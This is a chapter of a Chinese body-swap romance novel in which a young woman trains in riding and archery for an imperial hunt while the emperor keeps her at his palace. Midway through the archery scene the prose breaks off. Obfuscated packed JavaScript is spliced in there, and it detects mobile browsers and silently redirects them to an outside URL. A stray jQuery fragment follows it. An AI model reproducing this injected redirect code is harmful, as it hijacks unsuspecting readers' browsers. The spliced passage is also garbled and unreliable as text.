67. 大发现
作品:《突然!我变成了皇帝》 沈鄢却突然对桌上的茶壶产生了浓烈的兴趣。
一会儿摸下茶壶,一会儿摸下茶杯,总之就是不肯回应。
“陛下~”纪文晏耐着性子哄他,“我们不是一边的吗?您先前故意让他们产生误会,我就陪您一起演,我知道,去围场也是这场戏的一部分是不是?毕竟那里人多,更好让人以为我们两个……其实,就算去了围场,我也不一定非得骑马射箭吧?”
沈鄢忍不住说:“在外人看来你是朕的女人,朕会的东西你一点都不会,岂不是给朕丢人?”
“喔!”
纪文晏恍然大悟。
“原来您是担心,要是我们换回来了,我会给您丢脸!”
之前沈鄢一直想要教她骑马射箭,就是怕她万一正好在皇帝的身体里,却突然又需要皇帝展现一番马场和靶场上的威风,结果马都爬不上去,弓都举不起来,给他丢人。
“那我们可以先不去围场呀。”纪文晏说,“我现在本来就身体不好,即使非要我伴驾,我也可以和其他女眷待在一起,如果一不小心我们交换了,我就称病不出去不就行了?反正您又不是真的需要猎杀几头猎物,而是为了让他们以为我们两个……对吧?”
“原来你是这么想的?”沈鄢的手终于从茶壶上挪开,他当即道,“你想多了。”
您嘴是真硬。
纪文晏都无语了,偏偏这种话还不能说两回:说一句是诤臣,说两句是多嘴饶舌,徒增厌烦。
“我是哪里想多了?”纪文晏不耻下问。
沈鄢有意岔开话题,仍旧绕过了答案:“朕带你总是有原因的,你只要听话就够了。”
纪文晏气笑了。
“行。”
沈鄢觉得她语气不是很卑微,狐疑地看向她。
纪文晏一字一顿地继续说道:“行,臣女便等围猎那天,希望您能为我解惑。”
沈鄢道:“到了那天朕自然会说。”
到时候需要她配合撞他身前跟刀碰面,当然是非说不可。
纪文晏越来越觉得他打算在围猎那天搞什么花样,很坏的那种花样,可惜她实在是没法从他嘴里榨出多的一句话了。
她总不能把他打一顿逼他说话。
嗯。
……她为什么不能把他打一顿?
纪文晏定定地望着沈鄢,直到后者竖起眉毛:“有事?”
“没有事。”
她用力晃掉脑子里大逆不道的想法。
冷静一点!
她是忠臣,这是皇帝!
“我想回去了。”她又对沈鄢说。
沈鄢一愣,“这么快?”
“您交给我的任务,我全都完成了,为什么不能回去?”纪文晏反问道。
和沈鄢在这个小屋子里待得太久,外面的人又不知道会怎么想她,她宁肯出去。但回马场或者靶场她是不愿意的,她就想回去躺着——除非让她去骑燕子,但这又不可能。
她还准备和沈鄢辩个几回合,哪知沈鄢想了一会儿,抬头说道:“可以啊,朕陪你回去。”
纪文晏也一愣。
答应得这么爽快?不会又藏着什么陷阱吧?
她带着不安回到轿子里,等到安麓宣布轿子到了地方时,她掀开帘子一看——果然有问题。轿子没像她想的那样直奔宫门而去,反而停在了紫微宫,不是停在她休养治疗的偏殿,而是沈鄢的正殿前。
纪文晏腾地坐了回去。
“我今晚不用住在宫中。”她隔着帘子对沈鄢说,“我已经痊愈,可以回府了。”先前让她睡在偏殿是为了方便让太医院的人诊治,要三天内从床上爬起来骑马射箭,确实不能将治疗的时间浪费在往来纪府和皇宫里。可现在她明明已经出去跑了一圈,已大好了,没必要继续住下去。
可沈鄢却非要她留下。
“我已经命人给你准备一张小榻,你先睡在这儿,提前习惯一下。”
习惯什么?
纪文晏只觉得手腕一紧,就被沈鄢拉了进去。
他真不是诓骗她,紫微宫的龙床附近,真的有一床小榻,跟龙床保持了十几步的距离,中间还有一块屏风隔着,可是在纪文晏看来这简直是掩耳盗铃,她今晚要是在这里过夜,与睡在龙床上何异?
她不由得倒退一步:“臣女还是比较喜欢偏殿那张床。”
“你以后也是要住在这里的。”沈鄢道。
他没有松手,不让她走。
纪文晏看了他好几眼,既不能拒绝,又没有戳穿的勇气。不戳穿,她还可以捂着耳朵过日子,可一旦戳穿,那说不定今晚就是洞房花烛夜了。
也许很多人都觉得她要是不选择做娘娘就是个傻子,可是,她从来没想过要嫁人。
哪怕是嫁给皇帝。
如果嫁人的话……
纪文晏的心底闪过许多念头,她忌惮的,害怕的,不愿意回忆的。最终凝结成四个字,她不想嫁。
可是世间哪有人能拒绝一个皇帝的求娶呢?
她委实不明白,沈鄢到底为什么突然会对她抓着不放,一个后宫里空无一人的皇帝,竟突然想娶她,是被人夺舍了,还是撞邪了?她总得想办法打消他这个念头,演演戏也就罢了……真嫁人绝无可能。
这一琢磨,就琢磨了十天。
十天里,纪文晏一睁开眼睛就被下朝的沈鄢拖去马场,陪他一起骑浑谷,跟着他学射箭,后来开始射兔子,然后连老鼠都冒了出来。纪文晏都不知道他干嘛让驯马人将燕子牵出来给她认识,从第一天至今,她也就骑过那一次,然后就永远住在了浑谷的背上,沈鄢的怀里。
沈鄢每个白天都要发病,在各种人面前搂住她,除了两只眼睛大而无神根本看不出一点爱意,身体动作倒是把恩爱亲昵这两个词做全了。等她学累了,就一顶小轿送回紫微宫,在单独的小榻上睡觉,然后翌日循环。
纪文晏学得昏昏沉沉,总算勉强学会了骑马不摔,沈鄢从浑谷背上下去,她也能握着鞍头驯着浑谷往前走两步了,只是想要像沈鄢那样驰骋如风是绝对不可能的。
其次就是射箭
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334032|195391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
射兔子和老鼠实在是比射草靶要困难得多,这么多天纪文晏一只猎物都没得手,让沈鄢看得嫌弃得不行。
“万一真那么倒霉,在围场里我们换了,你可千万别顶着朕的脸去狩猎,就说你不舒服,要在营帐里休息。”他绝对不允许纪文晏这种垃圾箭术出门替他丢人!
“知道了知道了。”纪文晏抓着鞍头,手抚摸着浑谷的皮毛,眼睛望着远处的燕子。
这场景真是诡异极了,明明她每天都不被允许离开浑谷的背,但每一次驯马人都会把燕子带来,拴在远处让她看。
纪文晏感觉自己就像是一个生了孩子然后孩子被抓走拿来挟持她的可怜娘亲——大概是同病相怜,她才会病态地对一匹小矮马产生了母爱。
沈鄢也注意到了她的目光。
他忍不住调戏一下,抬着马鞭指向燕子:“想骑那个?”
“想。”纪文晏立刻说。
她又很快给自己补充了一个理由:“您把燕子送给我,本就是为了去围场时用,我要是现在不好好跟它亲近一下,等到了围场它把我从马背上甩下去怎么办?我听说,有些马也是有脾气的,对吧?越是骄傲的马就越是桀骜不驯,燕子可能不如浑谷骄傲,但它也确实是一匹良骏。”
堆了一窝理由,纪文晏也不知道有没有用。
哪知沈鄢露出思索的表情,没多久就点点头朝安麓道:“去把燕子牵过来,给她。”
纪文晏瞪大了眼睛。
这么说真行?
待燕子来到身前,她都以为是做梦,这几天都快把燕子当成她的幻觉了,如今真的又重逢,她忍不住伸手摸了好几下。暖暖的,干干的,臭臭的,真的。
小矮马的皮毛缎子不如浑谷的华丽柔顺,但她依旧高兴极了。
燕子依旧和第一次认识时一样,乖乖地跪了下去,让纪文晏舒服地骑在马背上,等她捉紧鞍头,才缓缓站起。虽然都是良骏,它性情比浑谷柔和许多,只是略表快乐地轻轻摇晃尾巴。
“走。”
她这段时间学了点教马前行的诀窍,轻轻一夹腿弯,燕子就动了。
它先是慢悠悠地走,纪文晏再按照驯马人说的,在马臀上轻轻拍两下,它就会渐渐加速跑起来,但不像浑谷那样疯马似的直接加速一顿狂奔,而是徐徐加速,让纪文晏有足够的反应时间。
要是从第一天起就用燕子练马,她根本不用吃这十天的苦头!
纪文晏带着燕子跑了三圈才停下,回到沈鄢面前时脸上尽显感激:
“多谢陛下,其实换回来以后我有一个很重要的大发现。”
“不用谢,明天就要出发去围场,你是应该试试不然就——什么?”
二人前后脚张口,同时说完了一句话。
沈鄢后知后觉地发出疑问:“什么大发现?”
纪文晏也再次瞪大眼睛:“明天就去围场?”
“嗯,明天就要出发了,你是该和它好好亲近一下。”沈鄢多余解释了一句,又追问道,“什么大发现?”

